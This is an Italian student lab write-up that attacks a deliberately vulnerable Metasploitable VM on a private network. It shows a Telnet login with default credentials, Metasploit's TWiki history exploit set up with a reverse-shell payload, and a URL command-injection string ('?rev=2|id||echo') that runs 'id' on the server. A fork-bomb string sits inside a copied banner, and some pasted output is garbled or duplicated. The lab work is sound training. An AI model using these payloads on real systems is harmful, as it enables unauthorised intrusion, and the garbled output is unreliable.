

Exploit Telnet con Metasploit

1. Anzitutto cambiamo gli indirizzi ip delle due macchine Kali e Meta rispettivamente in 192.168.1.25 e 192.168.1.40 e mi accerto che le due macchine pinghino.

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.25 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::a00:27ff:feb1:9d67 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:b1:9d:67 txqueuelen 1000 (Ethernet)
    RX packets 91 bytes 8364 (8.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 20 bytes 2704 (2.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
(kali㉿kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data:
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=4.41 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=1.18 ms
^C
— 192.168.1.40 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1006ms
rtt min/avg/max/mdev = 1.178/2.796/4.414/1.618 ms
```

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:01:58:09
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe01:5809/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:49 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:3878 (3.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:103 errors:0 dropped:0 overruns:0 frame:0
          TX packets:103 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
```

```
COLLISIONS:0 TXQUEUED:0
RX bytes:20485 (20.0 KB) TX bytes:20485 (20.0 KB)
```

- Mandiamo su nmap una scansione per vedere le porte aperte e mi accorgo da subito che la porta 23 sulla quale dovrebbe essere in ascolto il servizio Telnet non è rilevata. Faccio diverse prove per assicurarmi che effettivamente la porta non è in ascolto dapprima sulla porta 23 (come suggerito dalla traccia dell'esercizio), poi su qualsiasi altra porta con il comando lanciato con privilegi da admin.

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 04:52 EST
Nmap scan report for 192.168.1.40
Host is up (0.019s latency).
Not shown: 984 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.26 seconds

(kali@kali)-[~]
$ nmap -p 23 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 04:53 EST
Nmap scan report for 192.168.1.40
Host is up (0.0023s latency).

PORT      STATE SERVICE
23/tcp    closed telnet

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds
```

```
(kali@kali)-[~]
$ sudo nmap -sV -p 1-65535 --open -T4 -sS 192.168.1.40 | grep telnet
```

- A questo punto devo mettere il servizio telnet in ascolto sulla porta 23. Riattivo telnet da meta, come in figura e riavvio la scansione da nmap, trovando il servizio telnet sulla porta 23.

```
#<off># netbios-ssn      stream  tcp      nowait   root     /usr/sbin/tcpd
telnet                stream  tcp      nowait   telnetd  /usr/sbin/tcpd /usr/sb
#<off># ftp              stream  tcp      nowait   root     /usr/sbin/tcpd
#tftp                dgram   udp      wait     nobody   /usr/sbin/tcpd /usr/sb
#shell                stream  tcp      nowait   root     /usr/sbin/tcpd /usr/sb
#login                stream  tcp      nowait   root     /usr/sbin/tcpd /usr/sb
#exec                 stream  tcp      nowait   root     /usr/sbin/tcpd /usr/sb
#
#ingreslock stream tcp nowait root /bin/bash bash -i
```

4. Avviamo metasploit con msfconsole e lanciamo il comando use seguito dal path auxiliary/scanner/telnet/telnet_version per usare questo modulo ausiliario al fine di sfruttare la vulnerabilità del servizio Telnet. Con show options vediamo quali opzioni sia necessario settare e, dovendo impostare l'indirizzo ip target, diamo il comando set rhosts 192.168.1.40.

(In figura ho cancellato in rosso un comando errato)

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
<u>RHOSTS</u>		<u>yes</u>	The target host(s), see https://github.com/
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one p
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
```

Usage: set [options] [name] [value]

Set the given option to value. If value is omitted, print the current value. If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from 'show payloads'.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
<u>RHOSTS</u>	<u>192.168.1.40</u>	yes	The target host(s), see https://github.com/
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one p
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

5. Per il modulo scelto non c'è bisogno di settare il payload, altrimenti sarebbe uscito tra i settaggi richiesti con il comando show options. Procediamo, dunque, a lanciare l'exploit. Inseriamo il comando telnet seguito dall'indirizzo ip di meta e inseriamo le credenziali di accesso che ci aveva suggerito il software nella risposta al comando exploit. Otteniamo, pertanto, un accesso non autorizzato alla macchina.

```

msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
ed network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0aWarning: Never expose this VM to an untrust
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40
Trying 192.168.1.40... Connected. Please report any incorrect results at https://nmap.org/submit/ .
Connected to 192.168.1.40. Took 0.0034 seconds
Escape character is '^'.

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

Warning: Never expose this VM to an untrusted network! (protocol 2.0)

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started ((Ubuntu) DAV/2)

metasploitable login: msfadmin
Password:
Last login: Tue Mar  7 08:39:34 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit: https://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$

```

Exploit Twiki con Metasploit

1. Con nmap identifichiamo la porta 80 del servizio di Apache in ascolto con la quale proveremo a sfruttare la vulnerabilità

```

(kali㉿kali)-[~]
$ nmap -sV 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 10:01 EST
Nmap scan report for 192.168.1.40
Host is up (0.0034s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)

```

```
6667/tcp open  irc      UnrealIRCd
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix
Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 24.52 seconds
```

2. Entriamo in metasploit e cerchiamo twiki per identificare l'exploit che la scansione di Nessus ci aveva rivelato critico.

```
<script> AC816/
:NT_AUTHORITY.Do
:09.14.2011.raid
:hevnsntSurb025N.
:#OUTHOUSE- -s:
:$nmap -oS
:Awsmda:
:Ring0:
:23d:
:/-
SENDB0V3101.404:
`T:/shSYSTEM-.N:
/STFU|wall.No.Pr:
dNVRGOING2GIVUUP:
/corykennedyData:
SSo.6178306Ence:
/shMTL#beats3o.No.:
`dDestRoyREXKC3ta/M:
sSETEC.ASTRONOMYist:
/yo-.ence.N:(){ :|: 0 };;
`Shall.We.Play.A.Game?tron/
-ooy.if1ightf0r+ehUser5
..th3.H1V3.U2VjRFNN.jMh+.
MjM~WE.ARE.se~MMjMs
++KANSAS.CITY's~
J~HAKCERS~./.'
.esc:wq!:'
+++ATH

=[ metasploit v6.2.26-dev ]
+ -- ==[ 2264 exploits - 1189 auxiliary - 404 post ]
+ -- ==[ 951 payloads - 45 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Enable verbose logging with set VERBOSE
true
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search Twiki
[!] Unknown command: search
msf6 > search Twiki

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/webapp/moinmoin_twiki_draw 2012-12-30 manual Yes MoinMoin twiki_draw Action Traversal File Upload
1 exploit/unix/http/twiki_debug_plugins 2014-10-09 excellent Yes twiki_Debugableplugins Remote Code Execution
2 exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes twiki_History twiki_Users rev Parameter Command Execution
3 exploit/unix/webapp/twiki_makertext 2012-12-15 excellent Yes twiki_MAKETEXT Remote Command Execution
4 exploit/unix/webapp/twiki_search 2004-10-01 excellent Yes twiki_Search Function Arbitrary Command Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search
```

3. Mando il comando use 2 per utilizzare il secondo exploit tra i risultati del comando precedente e procedo a settarne il rhost (indirizzo target) e il payload.

```
0 exploit/unix/webapp/moinmoin_twiki_draw 2012-12-30 manual Yes MoinMoin twiki_draw Action Traversal File Upload
1 exploit/unix/http/twiki_debug_plugins 2014-10-09 excellent Yes twiki_Debugableplugins Remote Code Execution
2 exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes twiki_History twiki_Users rev Parameter Command Execution
3 exploit/unix/webapp/twiki_makertext 2012-12-15 excellent Yes twiki_MAKETEXT Remote Command Execution
4 exploit/unix/webapp/twiki_search 2004-10-01 excellent Yes twiki_Search Function Arbitrary Command Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search

msf6 > use 2
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

Name Current Setting Required Description
-----
Proxies
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /twiki/bin yes TWiki bin directory path
VHOST no HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

Name Current Setting Required Description
-----
LHOST 192.168.1.25 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
```



```

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) > set rhosts
rhosts =>
msf6 exploit(unix/webapp/twiki_history) > set rhosts 192.168.1.40
rhosts => 192.168.1.40

```

4. Dapprima con show payloads controllo tutti i payloads disponibili, poi identifico quello che mi serve e lo setto.

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/bind_awk		normal	No	Unix Command Shell, Bind TCP (via AWK)
1	payload/cmd/unix/bind_busybox_telnetd		normal	No	Unix Command Shell, Bind TCP (via BusyBox telnetd)
2	payload/cmd/unix/bind_inetd		normal	No	Unix Command Shell, Bind TCP (inetd)
3	payload/cmd/unix/bind_jjs		normal	No	Unix Command Shell, Bind TCP (via jjs)
4	payload/cmd/unix/bind_lua		normal	No	Unix Command Shell, Bind TCP (via Lua)
5	payload/cmd/unix/bind_netcat		normal	No	Unix Command Shell, Bind TCP (via netcat)
6	payload/cmd/unix/bind_netcat_gaping		normal	No	Unix Command Shell, Bind TCP (via netcat -e)
7	payload/cmd/unix/bind_netcat_gaping_ipv6		normal	No	Unix Command Shell, Bind TCP (via netcat -e) IPv6
8	payload/cmd/unix/bind_perl		normal	No	Unix Command Shell, Bind TCP (via Perl)
9	payload/cmd/unix/bind_perl_ipv6		normal	No	Unix Command Shell, Bind TCP (via perl) IPv6
10	payload/cmd/unix/bind_r		normal	No	Unix Command Shell, Bind TCP (via R)
11	payload/cmd/unix/bind_ruby		normal	No	Unix Command Shell, Bind TCP (via Ruby)
12	payload/cmd/unix/bind_ruby_ipv6		normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6
13	payload/cmd/unix/bind_socat_udp		normal	No	Unix Command Shell, Bind UDP (via socat)
14	payload/cmd/unix/bind_stub		normal	No	Unix Command Shell, Bind TCP (stub)
15	payload/cmd/unix/bind_zsh		normal	No	Unix Command Shell, Bind TCP (via Zsh)
16	payload/cmd/unix/generic		normal	No	Unix Command, Generic Command Execution
17	payload/cmd/unix/pingback_bind		normal	No	Unix Command Shell, Pingback Bind TCP (via netcat)
18	payload/cmd/unix/pingback_reverse		normal	No	Unix Command Shell, Pingback Reverse TCP (via netcat)
19	payload/cmd/unix/python/meterpreter/bind_tcp		normal	No	Python Exec, Python Meterpreter, Python Bind TCP Stag
20	payload/cmd/unix/python/meterpreter/bind_tcp_uuid		normal	No	Python Exec, Python Meterpreter, Python Bind TCP Stag
21	payload/cmd/unix/python/meterpreter/reverse_http		normal	No	Python Exec, Python Meterpreter, Python Reverse HTTP
22	payload/cmd/unix/python/meterpreter/reverse_https		normal	No	Python Exec, Python Meterpreter, Python Reverse HTTPS
23	payload/cmd/unix/python/meterpreter/reverse_tcp		normal	No	Python Exec, Python Meterpreter, Python Reverse TCP S
24	payload/cmd/unix/python/meterpreter/reverse_tcp_ssl		normal	No	Python Exec, Python Meterpreter, Python Reverse TCP S
25	payload/cmd/unix/python/meterpreter/reverse_tcp_uuid		normal	No	Python Exec, Python Meterpreter, Python Reverse TCP S
26	payload/cmd/unix/python/meterpreter/bind_tcp		normal	No	Python Exec, Python Meterpreter Shell, Bind TCP Inlin
27	payload/cmd/unix/python/meterpreter_reverse_http		normal	No	Python Exec, Python Meterpreter Shell, Reverse HTTP I
28	payload/cmd/unix/python/meterpreter_reverse_https		normal	No	Python Exec, Python Meterpreter Shell, Reverse HTTPS
29	payload/cmd/unix/python/meterpreter_reverse_tcp		normal	No	Python Exec, Python Meterpreter Shell, Reverse TCP Im
30	payload/cmd/unix/python/pingback_bind_tcp		normal	No	Python Exec, Python Pingback, Bind TCP (via python)
31	payload/cmd/unix/python/pingback_reverse_tcp		normal	No	Python Exec, Python Pingback, Reverse TCP (via python)
32	payload/cmd/unix/python/shell_bind_tcp		normal	No	Python Exec, Command Shell, Bind TCP (via python)
33	payload/cmd/unix/python/shell_reverse_tcp		normal	No	Python Exec, Command Shell, Reverse TCP (via python)
34	payload/cmd/unix/python/shell_reverse_tcp_ssl		normal	No	Python Exec, Command Shell, Reverse TCP SSL (via pyth
35	payload/cmd/unix/python/shell_reverse_udp		normal	No	Python Exec, Command Shell, Reverse UDP (via python)
36	payload/cmd/unix/reverse		normal	No	Unix Command Shell, Double Reverse TCP (telnet)
37	payload/cmd/unix/reverse_awk		normal	No	Unix Command Shell, Reverse TCP (via AWK)
38	payload/cmd/unix/reverse_bash		normal	No	Unix Command Shell, Reverse TCP (/dev/tcp)
39	payload/cmd/unix/reverse_bash_telnet_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (telnet)
40	payload/cmd/unix/reverse_bash_udp		normal	No	Unix Command Shell, Reverse UDP (/dev/udp)
41	payload/cmd/unix/reverse_jjs		normal	No	Unix Command Shell, Reverse TCP (via jjs)
42	payload/cmd/unix/reverse_ksh		normal	No	Unix Command Shell, Reverse TCP (via Ksh)
43	payload/cmd/unix/reverse_lua		normal	No	Unix Command Shell, Reverse TCP (via Lua)
44	payload/cmd/unix/reverse_perl		normal	No	Unix Command Shell, Reverse TCP (via Perl)
45	payload/cmd/unix/reverse_ruby		normal	No	Unix Command Shell, Reverse TCP (via Ruby)
46	payload/cmd/unix/reverse_ruby_ipv6		normal	No	Unix Command Shell, Reverse TCP (via Ruby) IPv6
47	payload/cmd/unix/reverse_socat		normal	No	Unix Command Shell, Reverse UDP (via socat)
48	payload/cmd/unix/reverse_ssh		normal	No	Unix Command Shell, Reverse TCP (via ssh)
49	payload/cmd/unix/reverse_telnet		normal	No	Unix Command Shell, Reverse TCP (via telnet)
50	payload/cmd/unix/reverse_telnet_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via telnet)
51	payload/cmd/unix/reverse_zsh		normal	No	Unix Command Shell, Reverse TCP (via Zsh)
52	payload/cmd/unix/reverse_zsh_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh)
53	payload/cmd/unix/reverse_zsh_telnet		normal	No	Unix Command Shell, Reverse TCP (via Zsh) telnet
54	payload/cmd/unix/reverse_zsh_telnet_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
55	payload/cmd/unix/reverse_zsh_udp		normal	No	Unix Command Shell, Reverse UDP (via Zsh)
56	payload/cmd/unix/reverse_zsh_udp_ssl		normal	No	Unix Command Shell, Reverse UDP SSL (via Zsh)
57	payload/cmd/unix/reverse_zsh_telnet_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
58	payload/cmd/unix/reverse_zsh_telnet_ssl_udp		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
59	payload/cmd/unix/reverse_zsh_telnet_ssl_udp_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
60	payload/cmd/unix/reverse_zsh_telnet_ssl_udp_ssl_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
61	payload/cmd/unix/reverse_zsh_telnet_ssl_udp_ssl_ssl_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
62	payload/cmd/unix/reverse_zsh_telnet_ssl_udp_ssl_ssl_ssl_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
63	payload/cmd/unix/reverse_zsh_telnet_ssl_udp_ssl_ssl_ssl_ssl_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
64	payload/cmd/unix/reverse_zsh_telnet_ssl_udp_ssl_ssl_ssl_ssl_ssl_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Zsh) telnet
65	payload/generic/ssh/interact		normal	No	Interact with Established SSH Connection

```

msf6 exploit(unix/webapp/twiki_history) > set payload 36
payload => cmd/unix/reverse
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

  Name      Current Setting  Required  Description
  --      -
Proxies
RHOSTS     192.168.1.40    yes      A proxy chain of format type:host:port[,type:host:port][...]
RPORT      80              yes      The target port (TCP)
SSL        false           no       Negotiate SSL/TLS for outgoing connections
URI        /twiki/bin      yes      TWiki bin directory path
VHOST      VHOST           no       HTTP server virtual host

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  --      -
LHOST      192.168.1.25    yes      The listen address (an interface may be specified)
LPORT      4444            yes      The listen port

```

```

Exploit target:

```

```

  Id  Name
  --  --
  0    Automatic

```

5. A questo punto vado sulla pagine web di Meta nella sezione di Twiki, cercando di capire cosa posso fare



Twiki . Main . **NicholasLee** (more)

Topic actions

More Actions on Topic NicholasLee

- **Rename, move or delete NicholasLee:**
 - [Rename/move topic](#), looking for references in **Main web** only.
 - [Rename/move topic](#), looking for references in **all public webs**. (recommended)
- **Ref-By:**
 - [Find topics](#) in **Main web** that link to NicholasLee.
 - [Find topics](#) in **all public webs** that link to NicholasLee.
 - Child topics in **Main Web**:
- **Parent of NicholasLee:**
 - Set topic parent to , then and save the topic to activate the new parent.
- **View previous topic revision:**
 - Revision: in ☐ raw text format
 - Revisions: 1.1 ... 1.2
- **Compare revisions:**
 - Older revision:
 - Newer revision:

Topic **NicholasLee** . { [Cancel](#) }

6. Se inserisco nell'url il codice "?rev=2|id||echo%20", la pagina web mi restituisce in output informazioni sull'uid (user id), sul gid (gruppo id) e sul gruppo (www.data)



Twiki > [Main](#) > **TWikiUsers** (r1.2|id||echo)

Main . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go }

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Topic **TWikiUsers** . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [>](#) | [r1.15](#) | [>](#) | [r1.14](#) | [More](#) }

Revision r1.2|id||echo - 01 Jan 1970 - 00:00 GMT -